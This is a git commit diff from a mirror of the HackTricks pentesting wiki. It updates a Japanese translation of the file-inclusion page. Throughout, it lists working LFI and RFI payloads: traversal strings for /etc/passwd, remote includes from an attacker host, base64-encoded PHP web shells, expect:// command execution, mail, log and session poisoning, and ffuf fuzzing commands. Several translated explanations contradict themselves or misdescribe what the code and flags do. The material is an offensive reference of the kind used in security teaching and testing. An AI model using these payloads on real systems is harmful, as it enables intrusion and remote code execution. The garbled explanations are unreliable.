mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['pentesting-web/file-inclusion/README.md'] to jp
This commit is contained in:
parent
c61ab91082
commit
66c4d6cb11
1 changed files with 88 additions and 72 deletions
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -82,25 +82,25 @@ In this technique, we will focus on exploiting file inclusion vulnerabilities by
|
|||
|
||||
この技術では、再帰的に剥奪されたトラバーサルシーケンスを使用して、ファイルインクルージョンの脆弱性を悪用します。これは、入力フィルタをバイパスするためのダブルエンコーディングや他の技術を使用することができないことを意味します。
|
||||
|
||||
To perform this attack, we need to identify the vulnerable parameter that allows file inclusion. Once we have identified the parameter, we can start testing for traversal sequences that have been stripped non-recursively.
|
||||
To perform this attack, we need to identify the vulnerable parameter that allows file inclusion. Once we have identified the parameter, we can start testing for traversal vulnerabilities.
|
||||
|
||||
この攻撃を実行するには、ファイルインクルージョンを許可する脆弱なパラメータを特定する必要があります。パラメータを特定したら、再帰的に剥奪されたトラバーサルシーケンスのテストを開始できます。
|
||||
この攻撃を実行するには、ファイルインクルージョンを許可する脆弱なパラメータを特定する必要があります。パラメータを特定したら、トラバーサルの脆弱性をテストすることができます。
|
||||
|
||||
Here is an example of a traversal sequence that has been stripped non-recursively:
|
||||
We will use common traversal sequences such as "../" to navigate through directories and access files outside of the intended scope. However, since the input filters have stripped the recursive traversal sequences, we need to find alternative ways to achieve the same result.
|
||||
|
||||
以下は、再帰的に剥奪されたトラバーサルシーケンスの例です。
|
||||
私たちは、"../"などの一般的なトラバーサルシーケンスを使用して、ディレクトリをナビゲートし、意図した範囲外のファイルにアクセスします。ただし、入力フィルタが再帰的なトラバーサルシーケンスを剥奪しているため、同じ結果を得るための代替手段を見つける必要があります。
|
||||
|
||||
```
|
||||
../../../../etc/passwd
|
||||
```
|
||||
One approach is to use absolute paths instead of relative paths. By providing the full path to the desired file, we can bypass the input filters and include the file successfully.
|
||||
|
||||
By appending this sequence to the vulnerable parameter, we can attempt to access sensitive files on the server. It is important to note that the number of "../" sequences may vary depending on the directory structure of the server.
|
||||
一つのアプローチは、相対パスの代わりに絶対パスを使用することです。目的のファイルの完全なパスを提供することで、入力フィルタをバイパスし、ファイルを正常にインクルードすることができます。
|
||||
|
||||
このシーケンスを脆弱なパラメータに追加することで、サーバー上の機密ファイルにアクセスしようとすることができます。なお、"../"のシーケンスの数は、サーバーのディレクトリ構造によって異なる場合があることに注意してください。
|
||||
For example, if the vulnerable parameter is `file`, instead of using a traversal sequence like "../", we can provide the absolute path to the file we want to include, such as "/etc/passwd".
|
||||
|
||||
It is also worth mentioning that some web applications may have additional security measures in place to detect and prevent file inclusion attacks. Therefore, it is important to thoroughly test the vulnerability and understand the application's behavior before proceeding with the attack.
|
||||
例えば、脆弱なパラメータが `file` の場合、"../" のようなトラバーサルシーケンスを使用する代わりに、インクルードしたいファイルの絶対パス(例:"/etc/passwd")を提供することができます。
|
||||
|
||||
また、一部のWebアプリケーションには、ファイルインクルージョン攻撃を検出および防止するための追加のセキュリティ対策がある場合があります。したがって、攻撃を進める前に、脆弱性を徹底的にテストし、アプリケーションの動作を理解することが重要です。
|
||||
By using non-recursive traversal sequences, we can still exploit file inclusion vulnerabilities even when input filters have stripped recursive traversal sequences.
|
||||
|
||||
再帰的なトラバーサルシーケンスが剥奪されている場合でも、非再帰的なトラバーサルシーケンスを使用することで、ファイルインクルージョンの脆弱性を利用することができます。
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
|
@ -153,21 +153,19 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|||
次のコマンドのシーケンスは、`sed`(1)を使用してペイロードを生成し、`ffuf`(2)などのURLファジングツールの入力として使用することができます。
|
||||
|
||||
```bash
|
||||
$ sed 's/^/-H "X-Original-URL: /;s/$/"/' payloads.txt | ffuf -w - -u FUZZ -mc all
|
||||
$ sed 's/^/-H "X-Original-URL: /;s/$/"/' payloads.txt | ffuf -w - -u FUZZ -H "Host: example.com" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -mc all -ac
|
||||
```
|
||||
|
||||
このコマンドのシーケンスは、`payloads.txt`ファイル内の各行に対して`sed`を使用して変換を行います。変換された各行は、`-H "X-Original-URL: <変換された行>"`の形式になります。その後、`ffuf`は`-w -`オプションを使用して標準入力からワードリストを読み取り、`-u FUZZ`オプションを使用してURLのFUZZキーワードを指定します。最後に、`-mc all`オプションを使用してすべてのステータスコードを表示します。
|
||||
|
||||
このコマンドのシーケンスを使用すると、`ffuf`は`payloads.txt`ファイル内の各行を変換し、それぞれの変換された行をURLのFUZZキーワードとして使用してリクエストを送信します。これにより、Webアプリケーションのファイルインクルージョンの脆弱性をテストすることができます。
|
||||
このコマンドのシーケンスは、`payloads.txt`ファイル内の各ペイロードに対して`sed`を使用して変換を行い、その結果を`ffuf`に渡します。`sed`コマンドは、各行の先頭に`-H "X-Original-URL: `を追加し、行の末尾に`"`を追加します。これにより、`ffuf`は各ペイロードを`FUZZ`として使用し、`Host`と`User-Agent`ヘッダーを指定してリクエストを送信します。また、`-mc all`オプションは、すべてのステータスコードを表示し、`-ac`オプションは、すべてのコンテンツを表示します。
|
||||
```
|
||||
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
||||
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
||||
```
|
||||
当然、深さ/場所/入力ディレクトリリストに応じてペイロードを調整してください。
|
||||
当然、深さ/場所/入力ディレクトリリストに応じてペイロードを適応させてください。
|
||||
|
||||
### **パスの切り詰め**
|
||||
|
||||
提供された文字列の末尾にさらに文字を追加することをバイパスします(バイパス方法:$\_GET\['param']."php")
|
||||
提供された文字列の末尾にさらに文字を追加することを回避します(回避方法:$\_GET\['param']."php")
|
||||
```
|
||||
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
||||
Check if last 6 chars are passwd --> passwd/
|
||||
|
@ -193,23 +191,21 @@ http://example.com/index.php?page=....//....//etc/passwd
|
|||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
# 基本的な RFI
|
||||
## 基本的な RFI
|
||||
|
||||
このセクションでは、基本的なリモートファイルインクルージョン(RFI)攻撃について説明します。RFIは、ウェブアプリケーションの脆弱性を悪用して、外部のファイルをサーバーに読み込む攻撃手法です。
|
||||
このセクションでは、リモートファイルインクルージョン(RFI)攻撃について説明します。RFIは、ウェブアプリケーションの脆弱性を悪用して、外部のファイルをサーバーに読み込む攻撃手法です。
|
||||
|
||||
RFI攻撃は、ウェブアプリケーションがユーザーからの入力を適切に検証せずにファイルを読み込む場合に発生します。攻撃者は、ウェブアプリケーションが読み込むファイルのパスを制御することができ、任意の外部ファイルを読み込むことができます。
|
||||
RFI攻撃は、ウェブアプリケーションがユーザーからの入力を適切に検証せずに使用する場合に発生します。攻撃者は、ウェブアプリケーションが外部ファイルを読み込むためのパラメータを操作し、任意のファイルをサーバーに読み込ませることができます。
|
||||
|
||||
RFI攻撃の一般的な手法は、外部のマルウェアを実行するために悪意のあるPHPスクリプトをサーバーに読み込むことです。攻撃者は、リモートサーバー上の悪意のあるスクリプトを実行することで、サーバー上で任意のコードを実行することができます。
|
||||
RFI攻撃の一般的な手法は、外部のリソースをインクルードするための関数やディレクトリトラバーサル攻撃を利用することです。攻撃者は、リモートサーバー上の任意のファイルを読み込むことができます。これにより、攻撃者は機密情報を盗み出したり、システムに悪意のあるコードを実行したりすることができます。
|
||||
|
||||
RFI攻撃を実行するためには、以下の手順を実行する必要があります。
|
||||
RFI攻撃を実行するためには、攻撃者はウェブアプリケーションに対してリモートファイルのURLを提供する必要があります。攻撃者は、悪意のあるファイルをホストするリモートサーバーを用意し、そのURLをウェブアプリケーションに送信します。ウェブアプリケーションは、攻撃者が提供したURLを使用して外部ファイルを読み込み、攻撃者の意図した操作を実行します。
|
||||
|
||||
1. ターゲットアプリケーションの脆弱性を特定する。
|
||||
2. リモートファイルを読み込むためのパラメータを見つける。
|
||||
3. 攻撃者が制御できるリモートサーバー上の悪意のあるスクリプトを用意する。
|
||||
4. 悪意のあるスクリプトをターゲットアプリケーションに読み込ませる。
|
||||
RFI攻撃を防ぐためには、ウェブアプリケーションは入力検証とエスケープ処理を適切に行う必要があります。また、外部ファイルの読み込みにはホワイトリストを使用し、信頼できるリソースのみを許可することが重要です。
|
||||
|
||||
RFI攻撃は、ウェブアプリケーションのセキュリティに対する重大な脅威です。開発者は、ユーザーからの入力を適切に検証し、ファイルの読み込みに制限を設けることで、RFI攻撃からアプリケーションを保護する必要があります。
|
||||
RFI攻撃は、ウェブアプリケーションのセキュリティに重大な脅威をもたらす可能性があるため、開発者やセキュリティチームはこの攻撃手法に対する理解を深め、適切な対策を講じる必要があります。
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
|
@ -326,6 +322,7 @@ echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data:
|
|||
## Compress + B64
|
||||
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
||||
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
「php://filter」という部分は大文字小文字を区別しません
|
||||
|
@ -360,15 +357,22 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
# data://
|
||||
|
||||
data://は、ファイルインクルージョン(File Inclusion)攻撃の一種です。この攻撃は、ウェブアプリケーションにおいて、外部ファイルを読み込むための機能が不適切に実装されている場合に悪用されます。
|
||||
data://スキームは、データをURLとして表現するための仮想スキームです。このスキームは、データを直接URLに埋め込むことができます。データは、テキスト、画像、音声、ビデオなど、さまざまな形式で表現することができます。
|
||||
|
||||
この攻撃では、攻撃者はウェブアプリケーションに対して、外部ファイルのパスを指定することができます。通常、ウェブアプリケーションは指定されたパスのファイルを読み込んで表示するため、攻撃者は任意のファイルを読み込むことができます。
|
||||
data://スキームは、ファイルインクルージョン攻撃に使用されることがあります。攻撃者は、ウェブアプリケーションのファイルインクルージョンの脆弱性を悪用して、data://スキームを使用して任意のデータを読み取ることができます。
|
||||
|
||||
data://スキームは、攻撃者が攻撃に使用する外部ファイルを指定するために使用されます。このスキームを使用すると、攻撃者はデータスキームを介して直接データを提供することができます。これにより、攻撃者は任意のデータをウェブアプリケーションに注入することができます。
|
||||
以下は、data://スキームを使用したファイルインクルージョン攻撃の例です。
|
||||
|
||||
この攻撃は、ウェブアプリケーションが外部ファイルを読み込む際に適切な入力検証や制限が行われていない場合に成功します。攻撃者は、機密情報の漏洩やシステムの乗っ取りなど、さまざまな悪影響を引き起こすことができます。
|
||||
```php
|
||||
<?php
|
||||
$file = $_GET['file'];
|
||||
include('data://' . $file);
|
||||
?>
|
||||
```
|
||||
|
||||
ウェブアプリケーションの開発者やセキュリティ担当者は、この攻撃に対する防御策を実装する必要があります。入力検証や制限の強化、外部ファイルの読み込みに関する適切なセキュリティ対策の実施などが重要です。また、セキュリティテストやペネトレーションテストを定期的に実施することも推奨されます。
|
||||
上記のコードでは、攻撃者は`file`パラメータを介してファイル名を指定できます。攻撃者は、`file`パラメータに`data://`スキームを使用して任意のファイルを読み取ることができます。これにより、攻撃者はシステム上の機密情報を取得することができます。
|
||||
|
||||
ウェブアプリケーションの開発者は、ファイルインクルージョンの脆弱性を修正するために、入力の検証と適切なエスケープ処理を実装する必要があります。また、不要なファイルインクルージョンの使用を避けることも重要です。
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -384,7 +388,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
|
||||
### expect://
|
||||
|
||||
Expectを有効にする必要があります。これを使用してコードを実行できます。
|
||||
Expectは有効化する必要があります。これを使用してコードを実行できます。
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
|
@ -427,7 +431,7 @@ LFIが単にファイルを読み取り、その中のPHPコードを実行し
|
|||
|
||||
### その他のプロトコル
|
||||
|
||||
[**ここに含める可能性のあるプロトコル**](https://www.php.net/manual/en/wrappers.php)**を**チェックしてください**:**
|
||||
[**ここに含める可能性のあるプロトコル**](https://www.php.net/manual/en/wrappers.php)**を**チェックしてください**:
|
||||
|
||||
* [php://memoryとphp://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかはわかりません)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
|
||||
|
@ -460,32 +464,32 @@ assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
|||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
**遅延なしで報奨金を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々において、Web3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
{% hint style="warning" %}
|
||||
このテクニックは、**PHP関数**が**ファイルにアクセス**する**ファイルパス**を**制御**できる場合に関連しますが、ファイルの内容(**`file()`**のような単純な呼び出し)は表示されません。
|
||||
このテクニックは、**PHP関数**が**ファイルにアクセス**する**ファイルパス**を**制御**できる場合に関連しますが、ファイルの内容(単純な**`file()`**の呼び出しのように)は表示されません。
|
||||
{% endhint %}
|
||||
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、PHPフィルタを使用して**エラーオラクルを介してファイルの内容を外部に流出**させる方法が説明されています。
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、PHPフィルタを介して盲目的なパストラバーサルがどのように悪用され、エラーオラクルを介してファイルの内容を**外部に流出**させることが説明されています。
|
||||
|
||||
要約すると、このテクニックは、**「UCS-4LE」エンコーディング**を使用してファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数がエラーをトリガー**するようにします。
|
||||
|
||||
次に、最初の文字を漏洩させるために、フィルタ**`dechunk`**が使用され、他のフィルタ(例:**base64**または**rot13**)と最後にフィルタ**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用され、他の文字が先頭に配置されて漏洩されます。
|
||||
|
||||
**脆弱性のある可能性のある関数**:`file_get_contents`、`readfile`、`finfo->file`、`getimagesize`、`md5_file`、`sha1_file`、`hash_file`、`file`、`parse_ini_file`、`copy`、`file_put_contents(これにより読み取り専用のターゲットのみが対象になります)`、`stream_get_contents`、`fgets`、`fread`、`fgetc`、`fgetcsv`、`fpassthru`、`fputs`
|
||||
**脆弱性のある可能性のある関数**:`file_get_contents`、`readfile`、`finfo->file`、`getimagesize`、`md5_file`、`sha1_file`、`hash_file`、`file`、`parse_ini_file`、`copy`、`file_put_contents(これには読み取り専用のターゲットのみが対象です)`、`stream_get_contents`、`fgets`、`fread`、`fgetc`、`fgetcsv`、`fpassthru`、`fputs`
|
||||
|
||||
詳細な技術情報については、上記の投稿を確認してください!
|
||||
|
||||
|
@ -524,16 +528,16 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### メール経由
|
||||
|
||||
内部アカウント(user@localhost)に、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含むメールを送信し、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のパスでユーザーのメールをインクルードしようとしてください。
|
||||
内部アカウント(user@localhost)にPHPのペイロード(`<?php echo system($_REQUEST["cmd"]); ?>`)を含むメールを送信し、**`/var/mail/<USERNAME>`**または**`/var/spool/mail/<USERNAME>`**のパスでユーザーのメールをインクルードしようとしてください。
|
||||
|
||||
### /proc/\*/fd/\* 経由
|
||||
### /proc/\*/fd/\*を介して
|
||||
|
||||
1. シェルをたくさんアップロードします(例:100個)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) をインクルードします。ここで、$PID はプロセスのPID(ブルートフォースで見つけることができます)、$FD はファイルディスクリプタ(これもブルートフォースで見つけることができます)です。
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)をインクルードします。ここで、$PIDはプロセスのPID(ブルートフォースで見つけることができます)であり、$FDはファイルディスクリプタ(これもブルートフォースで見つけることができます)です。
|
||||
|
||||
### /proc/self/environ 経由
|
||||
### /proc/self/environを介して
|
||||
|
||||
ログファイルのように、ペイロードをUser-Agentに送信し、それが/proc/self/environファイル内に反映されます。
|
||||
ログファイルのように、User-Agentでペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
|
@ -583,26 +587,26 @@ login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|||
1. ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。通常、以下のようなパラメータを利用してLFIを試みます。
|
||||
|
||||
```
|
||||
http://example.com/index.php?page=../../etc/passwd
|
||||
http://example.com/page.php?file=../../../etc/passwd
|
||||
```
|
||||
|
||||
上記の例では、`page`パラメータに`../../etc/passwd`を指定しています。
|
||||
上記の例では、`file`パラメータに`../../../etc/passwd`を指定しています。
|
||||
|
||||
2. LFI脆弱性が存在する場合、ウェブアプリケーションのファイルインクルード機能を悪用します。以下のようなパラメータを利用して、ファイルインクルードを試みます。
|
||||
|
||||
```
|
||||
http://example.com/index.php?page=/etc/passwd
|
||||
http://example.com/page.php?file=/var/www/html/index.php
|
||||
```
|
||||
|
||||
上記の例では、`page`パラメータに`/etc/passwd`を指定しています。
|
||||
上記の例では、`file`パラメータに`/var/www/html/index.php`を指定しています。
|
||||
|
||||
3. インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。以下のようなパラメータを利用します。
|
||||
|
||||
```
|
||||
http://example.com/index.php?page=/var/lib/php/sessions/sess_1234567890abcdef
|
||||
http://example.com/page.php?file=/var/lib/php/sessions/sess_1234567890abcdef
|
||||
```
|
||||
|
||||
上記の例では、`page`パラメータに`/var/lib/php/sessions/sess_1234567890abcdef`を指定しています。
|
||||
上記の例では、`file`パラメータに`/var/lib/php/sessions/sess_1234567890abcdef`を指定しています。
|
||||
|
||||
## 対策方法
|
||||
|
||||
|
@ -611,24 +615,31 @@ login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|||
- 入力検証とエスケープ処理を適切に実施する。
|
||||
- ホワイトリスト方式を使用して、許可されたファイルのみをインクルードする。
|
||||
- セッションファイルの保存場所を適切に設定する。
|
||||
- セッションIDのランダム性を高める。
|
||||
- セッションデータの暗号化を実施する。
|
||||
|
||||
以上が、LFIを使用してPHPセッションファイルをインクルードする攻撃手法の概要と対策方法です。
|
||||
- 最新のセキュリティパッチを適用する。
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### SSHを介して
|
||||
|
||||
SSHがアクティブである場合、使用されているユーザー(/proc/self/statusおよび/etc/passwd)を確認し、**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。
|
||||
sshがアクティブな場合、使用されているユーザーを確認します(/proc/self/statusおよび/etc/passwd)そして**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。
|
||||
|
||||
### vsftpdログを介して
|
||||
|
||||
このFTPサーバーのログは、_**/var/log/vsftpd.log**_に保存されます。LFIがあり、公開されたvsftpdサーバーにアクセスできる場合、ユーザー名にPHPペイロードを設定してログインし、LFIを使用してログにアクセスできます。
|
||||
このFTPサーバーのログは_**/var/log/vsftpd.log**_に保存されています。LFIを持っていて公開されたvsftpdサーバーにアクセスできる場合、PHPペイロードをユーザー名に設定してログインを試み、LFIを使用してログにアクセスすることができます。
|
||||
|
||||
### ファイル不要のPHPフィルタを介して
|
||||
### PHPベース64フィルターを介して(base64を使用)
|
||||
|
||||
この[**解説記事**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**phpフィルタを使用して任意のコンテンツを生成**できることが説明されています。これは、ファイルに書き込む必要なく、インクルードのための**任意のphpコードを生成**できることを意味します。
|
||||
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事で示されているように、PHPベース64フィルターは非ベース64を無視します。これを利用してファイル拡張子のチェックをバイパスできます。もしも".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。
|
||||
|
||||
以下は例のペイロードです:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### PHPフィルタを介して(ファイル不要)
|
||||
|
||||
この[**解説記事**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**phpフィルタを使用して任意のコンテンツを生成**し、出力として使用できることが説明されています。つまり、**ファイルに書き込む必要なしに**、インクルードのための**任意のphpコードを生成**できます。
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -636,15 +647,15 @@ SSHがアクティブである場合、使用されているユーザー(/proc
|
|||
|
||||
### セグメンテーションフォールトを介して
|
||||
|
||||
ファイルをアップロードして、一時的に`/tmp`に保存し、**同じリクエスト**でセグメンテーションフォールトをトリガーし、**一時ファイルが削除されない**ようにし、それを検索できます。
|
||||
`/tmp`に一時的に保存されるファイルを**アップロード**し、**同じリクエスト**で**セグメンテーションフォールト**をトリガーすると、**一時ファイルが削除されない**ため、それを検索できます。
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Nginx一時ファイルストレージを介して
|
||||
### Nginxの一時ファイルストレージを介して
|
||||
|
||||
**ローカルファイルインクルージョン**が見つかり、**Nginx**がPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません。
|
||||
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません。
|
||||
|
||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
|
@ -652,15 +663,15 @@ SSHがアクティブである場合、使用されているユーザー(/proc
|
|||
|
||||
### PHP\_SESSION\_UPLOAD\_PROGRESSを介して
|
||||
|
||||
**セッションがない**場合でも、**ローカルファイルインクルージョン**が見つかり、`session.auto_start`が`Off`に設定されている場合、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データで提供すると、PHPは**セッションを有効に**します。これを悪用してRCEを取得できます。
|
||||
**セッションがない**場合でも、`session.auto_start`が`Off`である場合でも、**ローカルファイルインクルージョン**を見つけた場合、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データで提供すると、PHPは**セッションを有効に**します。これを悪用してRCEを取得できます。
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Windowsの一時ファイルアップロードを介して
|
||||
### Windowsでの一時ファイルアップロードを介して
|
||||
|
||||
**ローカルファイルインクルージョン**が見つかり、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません。
|
||||
**ローカルファイルインクルージョン**を見つけ、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません。
|
||||
|
||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
|
@ -668,7 +679,7 @@ SSHがアクティブである場合、使用されているユーザー(/proc
|
|||
|
||||
### phpinfo()(file\_uploads = on)を介して
|
||||
|
||||
**ローカルファイルインクルージョン**が見つかり、file\_uploads = onで**phpinfo()**を公開するファイルがある場合、RCEを取得できます。
|
||||
**ローカルファイルインクルージョン**を見つけ、file\_uploads = onで**phpinfo()**を公開するファイルがある場合、RCEを取得できます。
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
|
@ -676,7 +687,7 @@ SSHがアクティブである場合、使用されているユーザー(/proc
|
|||
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パスの開示を介して
|
||||
|
||||
**ローカルファイルインクルージョン**が見つかり、一時ファイルのパスを**エクスフィルト**できるが、**サーバー**が**インクルードするファイルにPHPマークがあるかどうかをチェック**している場合、この**競合状態**を使用してそのチェックを**バイパス**できるかもしれません。
|
||||
**ローカルファイルインクルージョン**を見つけ、一時ファイルのパスを**外部に漏洩**できるが、**サーバー**が**インクルードするファイルにPHPマークがあるかどうかをチェック**している場合、この**競合状態**を使用してそのチェックを**バイパス**することができます。
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -708,7 +719,7 @@ _PHP致命的なエラーを引き起こしても、アップロードされたP
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
